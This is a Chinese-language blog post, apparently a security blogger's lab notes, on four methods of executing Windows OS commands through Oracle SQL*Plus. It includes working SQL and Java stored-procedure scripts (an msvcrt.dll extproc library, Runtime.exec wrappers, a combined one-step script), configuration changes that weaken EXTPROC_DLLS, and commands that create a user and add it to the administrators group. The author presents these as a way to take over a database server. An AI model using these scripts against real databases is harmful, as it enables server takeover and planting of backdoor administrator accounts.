網絡上找到的在sqlplus中執行cmd的一些命令,主要有四種方法,這邊都做了一下測試,這里做一下記錄:
測試環境:window2003+Oracle 11.2.0.1.0
第一種方法:
最簡單的執行cmd命令方法,但執行的本機的cmd命令,非數據庫系統的cmd命令,故和本機打開cmd命令一樣,貌似沒什么用。
C:\wmpub>sqlplus system/QWEasd123@testdb SQL*Plus: Release 11.2.0.1.0 Production on 星期一 10月 31 20:37:51 2016 Copyright (c) 1982, 2010, Oracle. All rights reserved. 連接到: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production With the Partitioning, OLAP, Data Mining and Real Application Testing options SQL> host net user \\TEST1 的用戶帳戶 ------------------------------------------------------------------------------- Administrator Guest SUPPORT_388945a0 命令成功完成。
第二種方法:
利用msvcrt.dll
1、新建一個oracle.sql文件,保存如下內容:
Rem Rem oracmd.sql Rem Rem Run system commands via Oracle database servers Rem Rem Bugs to david@ngssoftware.com Rem CREATE OR REPLACE LIBRARY exec_shell AS 'C:\windows\system32\msvcrt.dll'; / show errors CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR); end oracmd; / show errors CREATE OR REPLACE PACKAGE BODY oracmd IS PROCEDURE exec(cmdstring IN CHAR) IS EXTERNAL NAME "system" LIBRARY exec_shell LANGUAGE C; end oracmd; / show errors
2、執行oracle.sql,進一步執行cmd命令,然而卻報錯,默認安裝情況下,用這種方法應該是沒辦法執行成功的,如果有高手成功的話,方便告知一下。
SQL> @oracle.sql 庫已創建。 沒有錯誤。 程序包已創建。 沒有錯誤。 程序包體已創建。 沒有錯誤。 SQL> exec oracmd.exec ('dir > c:\oracle.txt'); BEGIN oracmd.exec ('dir > c:\oracle.txt'); END; * 第 1 行出現錯誤: ORA-28595: Extproc 代理: DLL 路徑無效 ORA-06512: 在 "SYSTEM.ORACMD", line 2 ORA-06512: 在 line 1
3、修改oracle配置
在C:\app\Administrator\product\11.2.0\dbhome_1\NETWORK\ADMIN\listener.ora
將
# listener.ora Network Configuration File: C:\app\Administrator\product\11.2.0\dbhome_1\NETWORK\ADMIN\listener.ora # Generated by Oracle configuration tools. SID_LIST_LISTENER = (SID_LIST = (SID_DESC = (SID_NAME = CLRExtProc) (ORACLE_HOME = C:\app\Administrator\product\11.2.0\dbhome_1) (PROGRAM = extproc) (ENVS = "EXTPROC_DLLS=ONLY:C:\app\Administrator\product\11.2.0\dbhome_1\bin\oraclr11.dll") ) (SID_DESC = (GLOBAL_DBNAME = testdb) (ORACLE_HOME = C:\app\Administrator\product\11.2.0\dbhome_1) (SID_NAME = testdb) ) )
修改ENVS,為ANY
(SID_DESC =
(SID_NAME = CLRExtProc)
(ORACLE_HOME = C:\app\Administrator\product\11.2.0\dbhome_1)
(PROGRAM = extproc)
(ENVS = "EXTPROC_DLLS=ANY")
)
在C:\app\Administrator\product\11.2.0\dbhome_1\hs\admin\extproc.ora
將最后一行
SET EXTPROC_DLLS=
改為
SET EXTPROC_DLLS=ANY
4、重新執行
SQL> exec oracmd.exec ('net user xiaozi xiaozi /add'); PL/SQL 過程已成功完成。
這時候命令已成功執行,這招可以用來創建數據庫服務器管理員賬號密碼以及進一步操作,然而默認配置執行不成功實在蛋疼,除非哪個誰已經改了。
第三種:
新建1.sql
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
新建2.sql
create or replace function run_cmd(p_cmd in varchar2) return number as language java name 'util.RunThis(java.lang.String) return integer';
新建3.sql
create or replace procedure RC(p_cmd in varChar) as x number; begin x := run_cmd(p_cmd); end;
登陸上去后依舊是依次執行
SQL> @1.sql 35 / Java 已創建。 SQL> @2.sql 6 / 函數已創建。 SQL> @3.sql 7 / 過程已創建。 SQL> SQL> variable x number; SQL> set serveroutput on;
SQL> exec dbms_java.set_output(100000); SQL> grant javasyspriv to system; PL/SQL 過程已成功完成。 SQL> exec :x:=run_cmd('ipconfig'); Windows IP Configuration Ethernet adapter 本地連接: Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 192.168.91.130 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.91.1 PL/SQL 過程已成功完成。
本機測試成功,拿到oracle賬號,提升至dba權限,可以考慮使用這種方法拿下服務器。
下面整成一個sql文件,只需執行一步,即可獲取數據庫ip和管理員列表
create or replace and compile java souRCe named "util" as import java.io.*; import java.lang.*; public class util extends Object { public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(); int RC = -1; try { Process p = rt.exec(args); int bufSize = 4096; BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize); int len; byte buffer[] = new byte[bufSize]; // Echo back what the program spit out while ((len = bis.read(buffer, 0, bufSize)) != -1) System.out.write(buffer, 0, len); RC = p.waitFor(); } catch (Exception e) { e.printStackTrace(); RC = -1; } finally { return RC; } } } / create or replace function run_cmd(p_cmd in varchar2) return number as language java name 'util.RunThis(java.lang.String) return integer'; / create or replace procedure RC(p_cmd in varChar) as x number; begin x := run_cmd(p_cmd); end; / variable x number; set serveroutput on; exec dbms_java.set_output(100000); grant javasyspriv to system; exec :x:=run_cmd('ipconfig'); exec :x:=run_cmd('net1 user');
登陸進去執行執行腳本
SQL> @java.sql Java 已創建。 函數已創建。 過程已創建。 PL/SQL 過程已成功完成。 授權成功。 Windows IP Configuration Ethernet adapter 本地連接: Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 192.168.91.130 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.91.1 PL/SQL 過程已成功完成。 User accounts for \\ ------------------------------------------------------------------------------- Administrator Guest SUPPORT_388945a0 xiaozi123 The command completed with one or more errors. PL/SQL 過程已成功完成。
第四種:
通過Java運行OS命令
CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS import java.lang.*; import java.io.*; public class JAVACMD { public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command); } }; / CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME 'JAVACMD.execCommand (java.lang.String)'; / exec javacmdproc('cmd.exe /c net user xiaozi 123 /add'); exec javacmdproc('cmd.exe /c net localgroup administrators xiaozi /add');
賬號創建成功,如下圖:

不同的方法需要不同的權限要求,dba權限下,無視。
第三第四種方法需要有javasyspriv才能正確執行
SQL> grant javasyspriv to scott;
SQL> revoke javasyspriv from scott;
最后
歡迎關注個人微信公眾號:Bypass--,每周原創一篇技術干貨。

參考文章:
ORACLE提權:http://blog.csdn.net/heiyoubei513/article/details/4009377
Oracle 10g版本SCOTT用戶提升DBA權限實戰圖文:http://niuzu.blog.51cto.com/3006825/607657/
